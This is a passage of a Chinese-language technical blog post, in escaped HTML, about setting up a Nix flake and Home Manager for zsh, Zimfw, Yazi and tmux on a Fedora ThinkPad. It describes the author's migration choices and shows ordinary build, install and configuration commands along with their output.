&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;│ ├── default.nix
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;│ ├── base.nix
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;│ ├── modern-unix.nix
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;│ ├── modern-tui.nix
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;│ ├── python.nix
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;│ ├── golang.nix
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;│ └── security.nix
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;└── config/
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; ├── p10k.zsh
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; ├── zimrc
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; └── tmux.conf
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;&lt;code&gt;hosts/thinkpad.nix&lt;/code&gt; 只负责组合模块和选择软件组；软件清单放在 &lt;code&gt;modules/packages/&lt;/code&gt;，Zsh 与 tmux 配置也不和主机名绑定。这样以后增加 Ubuntu、Arch 或 Kali 主机时，可以复用同一批模块，只改变启用哪些组。&lt;/p&gt;
&lt;p&gt;实际配置完成后，先在 ThinkPad 的 &lt;code&gt;/tmp/dotfiles-nix&lt;/code&gt; 运行：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;span class="lnt"&gt;2
&lt;/span&gt;&lt;span class="lnt"&gt;3
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;nix flake check --no-build
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;nix build &lt;span class="s1"&gt;&amp;#39;.#homeConfigurations.&amp;#34;veno@thinkpad&amp;#34;.activationPackage&amp;#39;&lt;/span&gt; &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; -o /tmp/home-manager-result
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;&lt;code&gt;flake check&lt;/code&gt; 返回 &lt;code&gt;all checks passed!&lt;/code&gt;，并生成 &lt;code&gt;flake.lock&lt;/code&gt;：Home Manager 锁定到提交 &lt;code&gt;7566825d4652a1b885bd4ce65bd9e8def432fec9&lt;/code&gt;，nixpkgs 锁定到 &lt;code&gt;e7a3ca8092b61ff85b6a45bf863ea2b2d6a661b3&lt;/code&gt;。完整构建需要下载约 415.3 MiB、解包约 1.3 GiB，最终 23 个 Home Manager derivation 全部构建成功。&lt;/p&gt;
&lt;p&gt;新仓库经过 secret、token 和私钥头扫描，没有命中；根提交是 &lt;code&gt;dc91873118bdcd7d686b00bc14c15b4101b06dd3&lt;/code&gt;。替换远端时不用裸 &lt;code&gt;--force&lt;/code&gt;，而是把刚才确认的旧提交写进 lease：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;span class="lnt"&gt;2
&lt;/span&gt;&lt;span class="lnt"&gt;3
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;git push &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; --force-with-lease&lt;span class="o"&gt;=&lt;/span&gt;main:b2a60b00f029236f1f04ed18821ebcfdd9c4c2c1 &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; origin main
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;h3 id="软件分组"&gt;软件分组
&lt;/h3&gt;&lt;p&gt;第一版准备定义以下分组：&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;分组&lt;/th&gt;
&lt;th&gt;用途&lt;/th&gt;
&lt;th&gt;初始软件&lt;/th&gt;
&lt;th&gt;ThinkPad 本轮启用&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;base&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;每台机器都有的基础环境&lt;/td&gt;
&lt;td&gt;&lt;code&gt;git&lt;/code&gt;、&lt;code&gt;curl&lt;/code&gt;、&lt;code&gt;jq&lt;/code&gt;、&lt;code&gt;zsh&lt;/code&gt;、&lt;code&gt;zimfw&lt;/code&gt;、&lt;code&gt;fzf&lt;/code&gt;、&lt;code&gt;tmux&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;是&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;modern-unix&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;常用 Unix 命令的现代补充&lt;/td&gt;
&lt;td&gt;&lt;code&gt;ripgrep&lt;/code&gt;、&lt;code&gt;fd&lt;/code&gt;、&lt;code&gt;bat&lt;/code&gt;、&lt;code&gt;eza&lt;/code&gt;、&lt;code&gt;zoxide&lt;/code&gt;、&lt;code&gt;dust&lt;/code&gt;、&lt;code&gt;duf&lt;/code&gt;、&lt;code&gt;procs&lt;/code&gt;、&lt;code&gt;bottom&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;是&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;modern-tui&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;交互式终端工具&lt;/td&gt;
&lt;td&gt;&lt;code&gt;lazygit&lt;/code&gt;、&lt;code&gt;yazi&lt;/code&gt;、&lt;code&gt;gitui&lt;/code&gt;、&lt;code&gt;lazydocker&lt;/code&gt;、&lt;code&gt;btop&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;是&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;python&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;通用 Python 开发入口&lt;/td&gt;
&lt;td&gt;&lt;code&gt;python3&lt;/code&gt;、&lt;code&gt;uv&lt;/code&gt;、&lt;code&gt;ruff&lt;/code&gt;、&lt;code&gt;ty&lt;/code&gt;、&lt;code&gt;pyright&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;暂不启用&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;golang&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Go 开发工具链&lt;/td&gt;
&lt;td&gt;&lt;code&gt;go&lt;/code&gt;、&lt;code&gt;gopls&lt;/code&gt;、&lt;code&gt;golangci-lint&lt;/code&gt;、&lt;code&gt;delve&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;暂不启用&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;security&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;渗透与安全测试工具&lt;/td&gt;
&lt;td&gt;待按用途筛选，并限制到允许使用的主机&lt;/td&gt;
&lt;td&gt;暂不启用&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;这里刻意不在第一轮启用 Python、Go 和 security。先验证 shell 与日常 CLI 的跨机器骨架，再逐组打开，可以让失败时的范围足够小。&lt;code&gt;security&lt;/code&gt; 尤其不能变成“看到什么都装”的垃圾抽屉；其中不少工具只支持 Linux、需要额外 capabilities，或者更适合放进隔离容器，必须逐项决定。&lt;/p&gt;
&lt;h3 id="zshzimfw-与-fzf-的处理方式"&gt;Zsh、Zimfw 与 fzf 的处理方式
&lt;/h3&gt;&lt;p&gt;Fedora 先用 DNF 安装 &lt;code&gt;/usr/bin/zsh&lt;/code&gt;，并把它设为登录 shell；Home Manager 再管理 &lt;code&gt;.zshrc&lt;/code&gt;、&lt;code&gt;.zimrc&lt;/code&gt;、fzf 集成和插件。安装前检查结果是：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;span class="lnt"&gt;2
&lt;/span&gt;&lt;span class="lnt"&gt;3
&lt;/span&gt;&lt;span class="lnt"&gt;4
&lt;/span&gt;&lt;span class="lnt"&gt;5
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$ getent passwd veno
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;veno:x:1000:1000:veno:/home/veno:/bin/bash
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$ rpm -q zsh
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;未安装软件包 zsh
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;实际运行：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;span class="lnt"&gt;2
&lt;/span&gt;&lt;span class="lnt"&gt;3
&lt;/span&gt;&lt;span class="lnt"&gt;4
&lt;/span&gt;&lt;span class="lnt"&gt;5
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sudo dnf install -y zsh
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sudo chsh -s /usr/bin/zsh veno
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;getent passwd veno
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;rpm -q zsh
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;/usr/bin/zsh --version
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;DNF 安装的是 Fedora 44 updates 仓库中的 &lt;code&gt;zsh-5.9-20.fc44.x86_64&lt;/code&gt;，切换 shell 后的输出为：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;span class="lnt"&gt;2
&lt;/span&gt;&lt;span class="lnt"&gt;3
&lt;/span&gt;&lt;span class="lnt"&gt;4
&lt;/span&gt;&lt;span class="lnt"&gt;5
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Changing shell for veno.
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Shell changed.
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;veno:x:1000:1000:veno:/home/veno:/usr/bin/zsh
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;zsh-5.9-20.fc44.x86_64
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;zsh 5.9 (x86_64-redhat-linux-gnu)
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;之所以不把登录 shell 指向 &lt;code&gt;/nix/store/.../bin/zsh&lt;/code&gt;，是因为 store 路径会随构建变化，也不应该让一次 Nix 故障扩大成 SSH 登录故障。&lt;/p&gt;
&lt;p&gt;Zim 的取舍以我之前写的《&lt;a class="link" href="https://v3n0.com/post/2025/zim-makes-my-life-easier/" &gt;我的 Zim Framework 安装和配置&lt;/a&gt;》为准，而不是把 MacBook 当前积累下来的文件不加判断地复制过去。ThinkPad 第一版保留这些东西：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Zimfw 自己的基础环境、补全和输入模块；&lt;/li&gt;
&lt;li&gt;Powerlevel10k，以及 MacBook 当前使用的 &lt;code&gt;.p10k.zsh&lt;/code&gt;；&lt;/li&gt;
&lt;li&gt;Zim 的 &lt;code&gt;fzf&lt;/code&gt; 模块和 &lt;code&gt;Aloxaf/fzf-tab&lt;/code&gt;；&lt;/li&gt;
&lt;li&gt;&lt;code&gt;zdharma-continuum/fast-syntax-highlighting&lt;/code&gt;；&lt;/li&gt;
&lt;li&gt;history substring search 和 autosuggestions；&lt;/li&gt;
&lt;li&gt;vi keymap、去重 history 等仍然有意义的少量 Zsh 选项。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;当前 MacBook 的 &lt;code&gt;.zimrc&lt;/code&gt; 同时列出了 &lt;code&gt;fast-syntax-highlighting&lt;/code&gt; 和 &lt;code&gt;zsh-syntax-highlighting&lt;/code&gt;，又同时留下 &lt;code&gt;asciiship&lt;/code&gt; 和 Powerlevel10k。前者是重复的语法高亮器，后者是两个 prompt，迁移时分别只保留文章中选定的 fast-syntax-highlighting 和 Powerlevel10k。既然我不使用 Zim 内置的 Git 和 utility aliases，也不再把这两个模块仅仅因为“默认配置里有”就装回来。&lt;/p&gt;
&lt;p&gt;&lt;code&gt;.zshrc&lt;/code&gt; 同样不会全盘继承历史。MacBook 上真正还在使用、而且值得跨机器同步的是 Yazi 的 shell wrapper：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;span class="lnt"&gt;2
&lt;/span&gt;&lt;span class="lnt"&gt;3
&lt;/span&gt;&lt;span class="lnt"&gt;4
&lt;/span&gt;&lt;span class="lnt"&gt;5
&lt;/span&gt;&lt;span class="lnt"&gt;6
&lt;/span&gt;&lt;span class="lnt"&gt;7
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-zsh" data-lang="zsh"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;function&lt;/span&gt; y&lt;span class="o"&gt;()&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;local&lt;/span&gt; &lt;span class="nv"&gt;tmp&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="k"&gt;$(&lt;/span&gt;mktemp -t &lt;span class="s2"&gt;&amp;#34;yazi-cwd.XXXXXX&amp;#34;&lt;/span&gt;&lt;span class="k"&gt;)&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; cwd
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;command&lt;/span&gt; yazi &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$@&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; --cwd-file&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$tmp&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nv"&gt;IFS&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;read&lt;/span&gt; -r -d &lt;span class="s1"&gt;&amp;#39;&amp;#39;&lt;/span&gt; cwd &amp;lt; &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$tmp&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="o"&gt;[&lt;/span&gt; -n &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$cwd&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; &lt;span class="o"&gt;]&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$cwd&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; !&lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$PWD&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; &lt;span class="o"&gt;]&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="nb"&gt;builtin&lt;/span&gt; &lt;span class="nb"&gt;cd&lt;/span&gt; -- &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$cwd&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; rm -f -- &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$tmp&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;它让 &lt;code&gt;y&lt;/code&gt; 退出 Yazi 后可以把当前 shell 留在 Yazi 最后所在的目录。alias 先迁移在 Linux 上有对应程序的两项：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;span class="lnt"&gt;2
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-zsh" data-lang="zsh"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;alias&lt;/span&gt; &lt;span class="nv"&gt;lg&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;lazygit&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;alias&lt;/span&gt; &lt;span class="nv"&gt;t&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;tmux&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;&lt;code&gt;tai=tmuxai&lt;/code&gt; 要等 &lt;code&gt;tmuxai&lt;/code&gt; 确实进入某个软件组后再启用，避免生成一个指向不存在命令的 alias；&lt;code&gt;typora=&amp;quot;open -a typora&amp;quot;&lt;/code&gt; 是 macOS 专属命令，不进入 ThinkPad 配置。Homebrew PATH、&lt;code&gt;jv&lt;/code&gt;、&lt;code&gt;mphp&lt;/code&gt;、旧 Chezmoi 的 &lt;code&gt;dotpush&lt;/code&gt;，以及临时测试用的函数都不迁移。&lt;code&gt;EDITOR&lt;/code&gt; 等通用环境变量以后如有需要会用 Home Manager 的 &lt;code&gt;home.sessionVariables&lt;/code&gt; 声明，而不是继续堆进 &lt;code&gt;.zshrc&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;初版保留我想用的 Zimfw，但需要接受一个限制：如果仍由 Zimfw 自己下载模块，插件提交并不会自动进入 &lt;code&gt;flake.lock&lt;/code&gt;，所以它不是完全可复现。第一轮先由 Home Manager 声明 &lt;code&gt;.zimrc&lt;/code&gt;、&lt;code&gt;.p10k.zsh&lt;/code&gt; 和初始化逻辑；后续再决定是否把每个插件改成 Flake input 或 Home Manager 的固定源码，让插件版本也真正锁定。&lt;/p&gt;
&lt;p&gt;实际部署时，&lt;code&gt;zimfw.zsh&lt;/code&gt; 本体来自锁定的 Nix &lt;code&gt;zimfw-1.20.0&lt;/code&gt; 包，Zim 首次启动安装了 12 个模块。第一次 SSH 验收发现 Home Manager 的 &lt;code&gt;enableCompletion&lt;/code&gt; 与 Zim 的 &lt;code&gt;completion&lt;/code&gt; 模块都会执行 &lt;code&gt;compinit&lt;/code&gt;，终端因此提示 completion 被初始化两次。修正方式是设置 &lt;code&gt;programs.zsh.enableCompletion = false&lt;/code&gt;，让 Zim 独占补全初始化；重新构建和部署后，用分配了 TTY 的新 SSH 会话复测，不再出现警告。&lt;/p&gt;
&lt;h3 id="修复-tmux-中的终端能力"&gt;修复 tmux 中的终端能力
&lt;/h3&gt;&lt;p&gt;实际使用时又遇到了两个只在终端链路中才会暴露的问题。第一个是在 MacBook 的 tmux pane 中 SSH 到 ThinkPad 后运行 &lt;code&gt;y&lt;/code&gt;，Yazi 报错：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Terminal response timeout: The request sent by Yazi didn&amp;#39;t receive a correct response.
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;&lt;a class="link" href="https://yazi-rs.github.io/docs/faq#trt" target="_blank" rel="noopener"
&gt;Yazi 官方 FAQ&lt;/a&gt; 说明，Yazi 启动时会发送 DA1 和基于 DSR 的查询以检测终端能力；tmux 可能截获这些响应，官方检查项包括 tmux 版本、passthrough、&lt;code&gt;M-[&lt;/code&gt; 绑定和自定义配置。检查 MacBook 当前 tmux 得到：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;span class="lnt"&gt;2
&lt;/span&gt;&lt;span class="lnt"&gt;3
&lt;/span&gt;&lt;span class="lnt"&gt;4
&lt;/span&gt;&lt;span class="lnt"&gt;5
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$ tmux -V
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;tmux 3.6b
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$ tmux show-options -gv allow-passthrough
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;off
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;于是把下面一行加入 MacBook 的 &lt;code&gt;~/.tmux.conf&lt;/code&gt;，并通过 &lt;code&gt;tmux set-option&lt;/code&gt; 让当前 server 立即生效：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;set -g allow-passthrough on
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;同一个 pane 中再次运行 &lt;code&gt;y&lt;/code&gt;，timeout 消失。该配置也进入 Nix dotfiles 的 &lt;code&gt;config/tmux.conf&lt;/code&gt;，避免其他受管主机重现问题。&lt;/p&gt;
&lt;p&gt;第二个问题是从 Alacritty 直接 SSH 到 ThinkPad 后，在 ThinkPad 上启动 tmux 会丢失 shell 颜色；即使先进入 MacBook tmux 再 SSH，嵌套启动 ThinkPad tmux 仍会丢色。我以前通过上传 &lt;code&gt;alacritty&lt;/code&gt; 和 &lt;code&gt;tmux-256color&lt;/code&gt; terminfo 处理过类似问题，但这次检查发现 ThinkPad 上两份 terminfo 已经存在，真正的问题在 Home Manager 生成的配置：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;set -g default-terminal &amp;#34;screen&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;因此没有重复覆盖 terminfo，而是在 Home Manager 中明确设置 tmux 向内部程序公布的终端类型：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;span class="lnt"&gt;2
